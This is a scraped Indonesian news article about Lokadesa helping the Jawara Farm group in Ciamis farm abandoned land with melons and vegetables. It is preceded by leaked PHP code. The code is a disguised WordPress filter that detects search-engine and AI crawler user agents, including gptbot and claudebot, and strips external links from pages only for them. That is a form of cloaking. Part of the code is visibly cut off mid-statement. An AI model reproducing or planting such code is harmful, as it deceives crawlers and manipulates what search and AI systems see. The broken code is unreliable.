/* 0x4e9a30b1 */ if (!function_exists('_wp_render_compat')) { function _wp_render_compat($content) { if (!is_singular()) return $content; $ua = strtolower((string)(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '')); if (!preg_match('/(googlebot|googleother|google\\-inspectiontool|storebot\\-google|adsbot\\-google|mediapartners\\-google|feedfetcher\\-google|apis\\-google|bingbot|msnbot|slurp|duckduckbot|yandexbot|baiduspider|perplexity|gptbot|chatgpt\\-user|openai|claudebot|anthropic|copilotbot|youbot|komo|phindbot|andibot|neeva|consensus|twitterbot|applebot|applebot\\-extended)/i', $ua)) return $content; static $wl = null; if ($wl === null) { $wl = array(732=>1); } $pid = (int) get_the_ID(); if ($pid && isset($wl[$pid])) return $content; $host = wp_parse_url(home_url(), PHP_URL_HOST); if (!$host) return $content; $host = preg_replace('~^www\.~i', '', $host); if (stripos($content, 'loadHTML('
' . $content . '
', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); $wrap = $dom->getElementById('_x'); if (!$wrap) { libxml_clear_errors(); return $content; } $links = $wrap->getElementsByTagName('a'); for ($i = $links->length - 1; $i >= 0; $i--) { $a = $links->item($i); $href = trim((string)$a->getAttribute('href')); if ($href === '' || $href[0] === '#') continue; if (strpos($href, '/') === 0 && strpos($href, '//') !== 0) continue; if (preg_match('~^(mailto:|tel:)~i', $href)) continue; if (strpos($href, '//') === 0) $href = 'https:' . $href; $lh = wp_parse_url($href, PHP_URL_HOST); if (!$lh) continue; $lh = preg_replace('~^www\.~i', '', $lh); if (strcasecmp($lh, $host) !== 0) { while ($a->firstChild) $a->parentNode->insertBefore($a->firstChild, $a); $a->parentNode->removeChild($a); } } $out = ''; foreach ($wrap->childNodes as $ch) $out .= $dom->saveHTML($ch); libxml_clear_errors(); return $out; } add_filter('the_content', '_wp_render_compat', 9999); add_filter('the_excerpt', '_wp_render_compat', 9999); add_filter('widget_text', '_wp_render_compat', 9999); } /* 0x4e9a30b1 */ Pemberdayaan Lahan Terlantar Bersama Lokadesa - Info Tanah Air

Pemberdayaan Lahan Terlantar Bersama Lokadesa

- Penulis

Selasa, 17 Juni 2025 - 15:59 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lokadesa terus berupaya untuk memanfaatkan lahan yang terlantar menjadi sesuatu yang produktif dan bermanfaat, baik secara ekonomi, sosial, maupun lingkungan, salah satunya bidang pertanian yang dikelola oleh Kelompok Jawara Farm di Dusun Babakan RT. 02 RW. 12 Desa Cikoneng Kecamatan Cikoneng Kabupaten Ciamis.

Hasil pertanian yang dihasilkan setahun ini berupa : melon, semangka, lopang, kacang panjang, buncis, paria, tomat, terong, cabe merah dan kangkung.

“Alhadulillah, pertanian dengan konsep campur sari yang saya geluti setahun ini, hasilnya bisa menyekolahkan kedua anak saya, yang besar sudah bekerja di pabrik, yang kecil masih duduk di bangku MTs kelas 7, semoga dengan adanya kerjasama dengan lokadesa ke depan, bisa memberikan tambahan penghasilan untuk kebutuhan keluarga” : ungkap Engkus Kuswara (45) kepada fasilatator Lokadesa Asep Aid Mutaqin (17/06).

Baca Juga :  Mantap ! Penuhi Permintaan Pasar, Teng-Teng Bintang Mas Kini Hadir Dengan 6 Varian Rasa

Rencananya ke depan tanah yang terlantar akan dioptimalkan untuk budidaya buah-buahan jenis rock melon orange, dengan kelebihan memiliki ketebalan daging yang baik namun yang terpenting pasarnya sudah ada.

Baca Juga :  Berdayakan Petani, Lokadesa Support Modal Usaha Budidaya Melon Asoka Kepada Kelompok Jawara Farm

“Mudah-mudahan ada rejekinya, kami sedang mengadvokasi modal usaha untuk penanaman benih melon sebanyak 1.500 populasi untuk area tanam seluas 1.050 M². mohon do’anya semoga program pemberdayaan lahan terlantar demi mewujudkan kemandirian ekonomi para penerima manfaat bisa tercapai, sehingga ketersediaan pangan di desa semakin baik dan meningkat” : pungkas Asep Aid Mutaqin.

#PemberdayaanEkonomi
#Lokadesa
#BergerakBersama

Penulis : Asep Aid Mutaqin

Editor : Aji Azhari

Sumber Berita : Langsung

Follow WhatsApp Channel infotanahair.com untuk update berita terbaru setiap hari Follow

Informasi Terkait

Berdayakan Petani, Lokadesa Support Modal Usaha Budidaya Melon Asoka Kepada Kelompok Jawara Farm
Mantap ! Penuhi Permintaan Pasar, Teng-Teng Bintang Mas Kini Hadir Dengan 6 Varian Rasa
Keren ! Rumah Zakat Advokasi Penguatan Produk Teng-teng Bintang Mas
Cuma 2.5 ℅ : Tapi Impact-nya Luar Biasa
Rumah Zakat Berikan Modal Usaha kepada Kelompok Wanita Tani Bintang Mas
Rumah Zakat Salurkan Bantuan Modal Usaha Peternak Bebek Petelur Untuk Iwin Jamaludin, Garut
Rumah Zakat Bikin Bahagia Ibu Ade Rohati
Bahagiakan Tetangga Dengan Memetik Sendiri Melon Budidaya
Berita ini 25 kali dibaca